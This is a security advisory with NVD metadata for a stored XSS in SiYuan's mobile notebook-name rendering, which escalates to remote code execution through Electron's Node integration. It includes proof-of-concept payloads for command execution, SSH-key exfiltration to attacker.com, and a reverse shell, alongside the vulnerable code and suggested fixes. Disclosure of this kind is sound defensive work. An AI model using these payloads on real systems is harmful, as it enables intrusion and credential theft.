Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:47:37Z",
    "nvd_published_at": "2026-03-19T22:16:41Z",
    "severity": "MODERATE"
  },
  "details": "# Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface\n\n## Summary\n\nSiYuan\u0027s mobile file tree (`MobileFiles.ts`) renders notebook names via `innerHTML` without HTML escaping when processing `renamenotebook` WebSocket events. The desktop version (`Files.ts`) properly uses `escapeHtml()` for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.\n\nSince Electron is configured with `nodeIntegration: true` and `contextIsolation: false`, the injected JavaScript has full Node.js access, escalating stored XSS to **full remote code execution**. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.\n\n## Affected Component\n\n- **Vulnerable file:** `app/src/mobile/dock/MobileFiles.ts:77`\n- **Safe counterpart:** `app/src/layout/dock/Files.ts:104` (uses `escapeHtml`)\n- **Backend (no escaping):** `kernel/api/notebook.go:104-116` (`renameNotebook`)\n- **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n- **Endpoint:** `POST /api/notebook/renameNotebook` (authenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Vulnerable Code\n\n### Mobile \u2014 no escaping (MobileFiles.ts:77)\n\n```typescript\ncase \"renamenotebook\":\n    this.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = data.data.name;\n    break;\n```\n\n### Desktop \u2014 properly escaped (Files.ts:104)\n\n```typescript\ncase \"renamenotebook\":\n    this.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);\n    break;\n```\n\n### Backend \u2014 sends unescaped name (notebook.go:104-116)\n\n```go\nfunc renameNotebook(c *gin.Context) {\n    // ...\n    name := arg[\"name\"].(string)\n    err := model.RenameBox(notebook, name)\n    // ...\n    evt := util.NewCmdResult(\"renamenotebook\", 0, util.PushModeBroadcast)\n    evt.Data = map[string]interface{}{\n        \"box\":  notebook,\n        \"name\": name,  // Unescaped \u2014 sent directly to all clients\n    }\n    util.PushEvent(evt)\n}\n```\n\n`model.RenameBox()` only validates length (512 chars max) and emptiness \u2014 no HTML sanitization.\n\n### Electron \u2014 Node.js in renderer (main.js:422-426)\n\n```javascript\nwebPreferences: {\n    nodeIntegration: true,\n    webviewTag: true,\n    webSecurity: false,\n    contextIsolation: false,\n}\n```\n\nAny JavaScript executed via innerHTML has full access to `require(\u0027child_process\u0027)`, `require(\u0027fs\u0027)`, `require(\u0027net\u0027)`, etc.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker).**\n\n### 1. Set malicious notebook name (RCE payload)\n\n```http\nPOST /api/notebook/renameNotebook HTTP/1.1\nContent-Type: application/json\nCookie: siyuan=\u003csession\u003e\n\n{\n    \"notebook\": \"\u003cNOTEBOOK_ID\u003e\",\n    \"name\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)\\\"\u003e\"\n}\n```\n\nOn Linux/macOS:\n```json\n{\n    \"notebook\": \"\u003cNOTEBOOK_ID\u003e\",\n    \"name\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027id \u003e /tmp/pwned\u0027)\\\"\u003e\"\n}\n```\n\n**Confirmed:** API accepts the name without escaping. The `renamenotebook` WebSocket event broadcasts the raw HTML to all connected clients.\n\n### 2. Mobile client renders and executes\n\nWhen any mobile client receives the `renamenotebook` event, `MobileFiles.ts:77` sets `innerHTML = data.data.name`. The `\u003cimg\u003e` tag\u0027s `src=x` fails to load, triggering `onerror` which calls `require(\u0027child_process\u0027).exec()` \u2014 **arbitrary OS command execution**.\n\n### 3. Verified event content\n\n```python\n# Unauthenticated WebSocket listener receives:\n{\n    \"cmd\": \"renamenotebook\",\n    \"data\": {\n        \"box\": \"20260309161535-do8qg95\",\n        \"name\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)\\\"\u003e\"\n    }\n}\n```\n\nThe HTML/JS payload is preserved verbatim in the WebSocket event.\n\n### 4. Data exfiltration variant\n\n```json\n{\n    \"notebook\": \"\u003cNOTEBOOK_ID\u003e\",\n    \"name\": \"\u003cimg src=x onerror=\\\"fetch(\u0027https://attacker.com/exfil?k=\u0027+require(\u0027fs\u0027).readFileSync(require(\u0027os\u0027).homedir()+\u0027/.ssh/id_rsa\u0027,\u0027utf8\u0027))\\\"\u003e\"\n}\n```\n\n### 5. Reverse shell variant\n\n```json\n{\n    \"notebook\": \"\u003cNOTEBOOK_ID\u003e\",\n    \"name\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027bash -c \\\\\\\"bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261\\\\\\\"\u0027)\\\"\u003e\"\n}\n```\n\n## Attack Scenario\n\n1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload\n2. The `renamenotebook` event broadcasts the payload to ALL connected clients\n3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload\n4. `nodeIntegration: true` gives the injected JavaScript full OS access\n5. Attacker achieves arbitrary command execution on the victim\u0027s machine\n\n**Persistence:** The notebook name is stored in the notebook\u0027s `.siyuan/conf.json`. The payload re-triggers every time the file tree renders on mobile \u2014 it survives restarts.\n\n**Sync vector:** If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.0)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Full remote code execution on Electron desktop via `nodeIntegration: true`\n- Stored XSS \u2014 notebook names persist across sessions and survive restarts\n- Propagates via cloud sync to all synced devices\n- Affects all mobile interface users and desktop users in mobile/narrow layout\n- Inconsistent escaping \u2014 desktop is safe, mobile is not (indicates oversight)\n- Can steal files, credentials, SSH keys, install backdoors, open reverse shells\n\n## Suggested Fix\n\n### 1. Apply the same escaping used in the desktop version\n\n```typescript\n// Before (vulnerable):\nthis.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = data.data.name;\n\n// After (fixed):\nthis.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);\n```\n\n### 2. Sanitize notebook names on the backend\n\n```go\nfunc RenameBox(boxID, name string) (err error) {\n    name = util.EscapeHTML(name)  // Sanitize at the source\n    // ...\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n    nodeIntegration: false,\n    contextIsolation: true,\n    sandbox: true,\n}\n```",
  "id": "GHSA-qr46-rcv3-4hq3",
  "modified": "2026-03-30T13:58:50Z",
  "published": "2026-03-16T18:47:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qr46-rcv3-4hq3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32751"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/f6d35103f774b65e52f03e018649ff0e57924fb0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "E1AA6470-222A-4841-A487-DF65F9859780",
              "versionEndExcluding": "3.6.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree. Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well. This issue has been fixed in version 3.6.1."
    },
    {
      "lang": "es",
      "value": "SiYuan es un sistema de gesti\u00f3n de conocimiento personal. En las versiones 3.6.0 e inferiores, el \u00e1rbol de archivos m\u00f3vil (MobileFiles.ts) renderiza los nombres de los cuadernos a trav\u00e9s de innerHTML sin escape HTML al procesar eventos WebSocket de renamenotebook. La versi\u00f3n de escritorio (Files.ts) utiliza correctamente escapeHtml() para la misma operaci\u00f3n. Un usuario autenticado que puede renombrar cuadernos puede inyectar HTML/JavaScript arbitrario que se ejecuta en cualquier cliente m\u00f3vil que visualice el \u00e1rbol de archivos. Dado que Electron est\u00e1 configurado con nodeIntegration: true y contextIsolation: false, el JavaScript inyectado tiene acceso completo a Node.js, escalando el XSS almacenado a ejecuci\u00f3n remota de c\u00f3digo completa. El dise\u00f1o m\u00f3vil tambi\u00e9n se utiliza en la aplicaci\u00f3n de escritorio de Electron cuando la ventana es estrecha, lo que hace que esto sea explotable tambi\u00e9n en el escritorio. Este problema ha sido solucionado en la versi\u00f3n 3.6.1."
    }
  ],
  "id": "CVE-2026-32751",
  "lastModified": "2026-03-23T18:16:01.297",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 5.1,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-19T22:16:41.490",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/siyuan-note/siyuan/commit/f6d35103f774b65e52f03e018649ff0e57924fb0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qr46-rcv3-4hq3"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}